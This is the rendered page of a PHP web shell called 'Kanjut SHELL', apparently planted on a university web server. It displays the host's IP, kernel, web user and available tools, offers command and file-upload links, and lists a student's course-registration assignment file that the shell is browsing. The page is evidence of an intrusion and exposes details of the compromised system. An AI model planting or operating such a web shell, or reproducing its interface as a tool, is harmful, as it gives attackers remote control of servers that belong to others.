Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.235.138
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wrlainezmolina/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wrlainezmolina/www/Assign7ap3.php
<!--	Assign7ap3.php	-->

<?php	session_start();	?>

<center>
<H2>
Student registration results
</h2>
<HR>
<?php
	$prefer = $_POST["prefer"];
	$name = $_SESSION['v1'];
	$gender = $_SESSION['v2'];
	$grade = $_SESSION['v3'];
	
	print "Your name is: $name <BR>";
	print "Your gender is: $gender <BR>";
	print "Your grade is: $grade <BR>";
	print "<HR>";	
	$course = array("CS112", "CS212", "CS310", "CS311",
                        "CS380", "CS440", "CS480", "Math135",
                        "Math136", "Math171", "Math172",
                        "Math271");

	if(count($prefer) == 0)
		print "Oh no! Pick a Course.";
	else
	{	print "<P>Your courses were <UL>";
		foreach ($prefer as $i)
			print "<LI>$course[$i]";
		print "</UL>";
	}
?>
</center>

Stv3n404 - 2023